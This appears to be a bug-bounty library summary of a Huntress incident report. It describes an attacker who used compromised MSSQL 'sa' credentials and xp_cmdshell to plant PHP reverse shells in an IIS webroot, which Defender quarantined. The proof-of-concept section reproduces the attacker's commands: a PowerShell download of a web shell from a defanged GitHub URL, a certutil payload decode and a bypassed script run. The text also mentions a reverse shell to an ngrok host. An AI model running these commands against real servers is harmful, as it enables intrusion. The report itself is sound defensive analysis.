# Managing Attack Surface

Attacker with MSSQL sa credentials enabled xp_cmdshell to push PHP reverse shells to the webroot; Defender quarantined every attempt.

- Payout: Real-world hack
- Severity: high
- Program: Huntress customer MSSQL
- Analysis by: Huntress
- Disclosed: 2024-03-20
- Write-up quality: 6/10
- Original: https://www.huntress.com/blog/managing-attack-surface
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-managing-attack-surface
- Tags: area:cloud domain:infra impact:internal-access kind:incident platform:threat-intel sev:high tech:windows technique:default-creds technique:source-review vuln:misconfiguration vuln:rce

**Target:** Windows Server 2019 Essentials running MSSQL Express and IIS webroot
**Root cause:** MSSQL 'sa' account credentials were previously compromised, and xp_cmdshell was enabled (config 0->1) allowing sqlservr.exe to spawn PowerShell and write files into the IIS webroot.
**Steps:**
1. Attacker logs in with previously obtained MSSQL 'sa' credentials (no failed logins observed beforehand).
2. xp_cmdshell blocked (event 15281), then config changed from '0' to '1' (event 15457).
3. Run PowerShell scripts via sqlservr.exe: `powershell -ExecutionPolicy ByPass -File C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS17\MSSQL\Log\tmppsviix.ps1`
4. Decode payload with certutil: `certutil  -f -decode tmpfrckk.txt C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS17\MSSQL\Log\tmpseevcw.exe`
5. Shift to direct download: `powershell -command Invoke-WebRequest -Uri 'https[:]//raw.githubusercontent[.]com/hightidAOaa/azdaz/main/maa.php' -OutFile 'E:/inetpub/wwwroot/<REDACTED>/maa.php'`
6. Request the shell via GET to maa.php from 41.102.167[.]182 (returned 404); day 2 had no GET requests.
7. Day 2: repeat, download fata.php, then run reverse-shell PowerShell code connecting to 0.tcp.eu.ngrok[.]io; no GET requests for maa.php or fata.php on day 2.
**How found:** Huntress SOC correlated MAV detections (VirTool:PHP/Meterpreter, Trojan:HTML/WebShell) with EDR process telemetry for certutil.exe and PowerShell spawned by sqlservr.exe, then built a timeline from Windows Event Logs (MSSQL 15281/15457) and IIS logs.
**Exploitation:** Using sa access, enable xp_cmdshell, spawn PowerShell via sqlservr.exe to fetch PHP reverse shells from a GitHub repo into the IIS webroot, then trigger them via HTTP GET; all payloads were quarantined by Defender and the GET returned 404, so no shell was obtained.
**Insight:** sqlservr.exe spawning PowerShell or certutil is a high-signal xp_cmdshell abuse indicator; also watch MSSQL event 15457 (xp_cmdshell config change) as the pivot point after sa credential compromise.

## Proof of concept (copied exactly from the original report)

**PowerShell Invoke-WebRequest uploads maa.php reverse shell**

```
powershell -command Invoke-WebRequest -Uri 'https[:]//raw.githubusercontent[.]com/hightidAOaa/azdaz/main/maa.php' -OutFile 'E:/inetpub/wwwroot/<REDACTED>/maa.php'
```

**certutil decode of base64 payload to exe**

```
certutil  -f -decode tmpfrckk.txt C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS17\MSSQL\Log\tmpseevcw.exe
```

**PowerShell script run via sqlservr.exe**

```
powershell -ExecutionPolicy ByPass -File C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS17\MSSQL\Log\tmppsviix.ps1
```